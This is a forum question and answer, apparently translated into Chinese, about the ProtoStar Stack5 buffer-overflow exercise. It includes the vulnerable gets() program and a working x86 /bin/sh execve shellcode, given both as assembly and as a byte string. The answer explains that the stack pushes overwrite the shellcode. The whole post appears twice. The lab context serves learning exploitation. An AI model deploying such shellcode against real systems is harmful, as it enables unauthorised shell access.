缓冲区溢出 - 将字符串推入堆栈后程序集发生变化
Bufferoverflow - assembly changes after pushing string to stack
嘿,我目前正在使用以下 C 代码做 ProtoStar-Stack5 http://exploit-exercises.lains.space/protostar/stack5/:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
Atm 正在尝试执行 shellcode:
08048060 <_start>:
8048060: 31 c0 xor %eax,%eax
8048062: 50 push %eax
8048063: 68 2f 2f 73 68 push [=11=]x68732f2f
8048068: 68 2f 62 69 6e push [=11=]x6e69622f
804806d: 89 e3 mov %esp,%ebx
804806f: 89 c1 mov %eax,%ecx
8048071: 89 c2 mov %eax,%edx
8048073: b0 0b mov [=11=]xb,%al
8048075: cd 80 int [=11=]x80
8048077: 31 c0 xor %eax,%eax
8048079: 40 inc %eax
804807a: cd 80 int [=11=]x80
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80
当运行 gdb(gef) 溢出时,它按预期执行,直到将两个字符串(0x68732f2f 和 0x6e69622f)压入堆栈。推入第二个字符串后,程序集从:
mov ebx,esp
mov ecx,eax
mov edx,eax
mov al,0xb
int 0x80
至:
mov ebx,esp
mov ecx,eax
mov edx,eax
mov al,0x2f
bound ebp,QWORD PTR [ecx+0x6e]
das
das
jae 0xffffcee4
然后在 bound ebp, QWORD PTR [ecx+0x6e]
出现段错误
我现在的问题是,为什么它会改变,以及改变是否与段错误有关。
您正在执行堆栈中的代码,然后将新值推送到堆栈 - 这就是推送实际上覆盖您的 shellcode 的原因。
嘿,我目前正在使用以下 C 代码做 ProtoStar-Stack5 http://exploit-exercises.lains.space/protostar/stack5/:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
Atm 正在尝试执行 shellcode:
08048060 <_start>:
8048060: 31 c0 xor %eax,%eax
8048062: 50 push %eax
8048063: 68 2f 2f 73 68 push [=11=]x68732f2f
8048068: 68 2f 62 69 6e push [=11=]x6e69622f
804806d: 89 e3 mov %esp,%ebx
804806f: 89 c1 mov %eax,%ecx
8048071: 89 c2 mov %eax,%edx
8048073: b0 0b mov [=11=]xb,%al
8048075: cd 80 int [=11=]x80
8048077: 31 c0 xor %eax,%eax
8048079: 40 inc %eax
804807a: cd 80 int [=11=]x80
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80
当运行 gdb(gef) 溢出时,它按预期执行,直到将两个字符串(0x68732f2f 和 0x6e69622f)压入堆栈。推入第二个字符串后,程序集从:
mov ebx,esp
mov ecx,eax
mov edx,eax
mov al,0xb
int 0x80
至:
mov ebx,esp
mov ecx,eax
mov edx,eax
mov al,0x2f
bound ebp,QWORD PTR [ecx+0x6e]
das
das
jae 0xffffcee4
然后在 bound ebp, QWORD PTR [ecx+0x6e]
出现段错误
我现在的问题是,为什么它会改变,以及改变是否与段错误有关。
您正在执行堆栈中的代码,然后将新值推送到堆栈 - 这就是推送实际上覆盖您的 shellcode 的原因。